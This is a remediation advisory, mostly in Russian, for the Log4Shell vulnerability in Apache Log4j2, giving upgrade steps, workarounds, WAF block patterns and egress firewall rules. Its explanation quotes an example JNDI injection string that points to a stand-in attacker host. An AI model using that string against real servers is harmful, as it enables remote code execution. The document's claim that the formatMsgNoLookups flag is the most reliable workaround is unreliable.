CVE-2021-44228
Apache Log4j2
2021-12-10
Apache Log4j2 contains a vulnerability where JNDI features do not protect against attacker-controlled JNDI-related endpoints, allowing for remote code execution.
Технический анализ и план устранения
Суть уязвимости
Уязвимость (Log4Shell) позволяет злоумышленнику выполнить произвольный код на сервере, если приложение логирует внешние данные (например, заголовки HTTP-запросов) с использованием уязвимой версии Log4j2. Атакующий может внедрить специальную строку (например, ${jndi:ldap://attacker.com/exploit}), которая заставит Log4j2 выполнить запрос к контролируемому им серверу и загрузить/выполнить вредоносный код.
Как исправить
Основной метод — обновление Log4j2 до безопасной версии.
-
Для Apache Log4j2:
- Обновитесь до версии 2.17.1 (или выше для 2.x ветки).
- Скачайте последнюю версию с официального сайта: https://logging.apache.org/log4j/2.x/download.html
-
Если Log4j2 используется как зависимость в Java-приложении (Maven/Gradle):
- Обновите версию в файле конфигурации (
pom.xmlилиbuild.gradle). - Пример для Maven (
pom.xml):xml <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.17.1</version> </dependency> - Пересоберите и перезапустите приложение.
- Обновите версию в файле конфигурации (
-
Для дистрибутивов Linux (если пакет предоставляется репозиторием):
- Используйте менеджер пакетов для обновления. Внимание: версии в репозиториях часто отстают, проверяйте актуальность.
- Пример для Debian/Ubuntu:
bash sudo apt update sudo apt install --only-upgrade liblog4j2-java - Пример для RHEL/CentOS/Rocky Linux/AlmaLinux 8+:
bash sudo dnf update log4j2
Временное решение
Если немедленное обновление невозможно, примените одно из следующих решений:
-
Установите системное свойство Java для всех уязвимых приложений. Это самый надежный временный метод.
- Добавьте следующий аргумент в командную строку запуска Java (в
JAVA_OPTSилиCATALINA_OPTSдля Tomcat):bash -Dlog4j2.formatMsgNoLookups=true - Для Spring Boot (запуск через jar):
bash java -Dlog4j2.formatMsgNoLookups=true -jar yourapplication.jar
- Добавьте следующий аргумент в командную строку запуска Java (в
-
Удалите уязвимый класс
JndiLookupиз файлаlog4j-core-*.jar(замените*на вашу версию):bash zip -q -d /путь/к/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classПерезапустите приложение после выполнения команды. -
Настройте правила в WAF (Web Application Firewall):
- Блокируйте HTTP-запросы, содержащие строки
jndi:,${,},ldap://,rmi://,dns://.
- Блокируйте HTTP-запросы, содержащие строки
-
Ограничьте исходящие соединения с серверов приложений в брандмауэре. Заблокируйте исходящие подключения по протоколам LDAP, RMI, DNS (порты 389, 636, 1099, 1389, 53) ко всем адресам, кроме доверенных внутренних серверов. Это предотвратит успешную эксплуатацию, но не саму попытку атаки.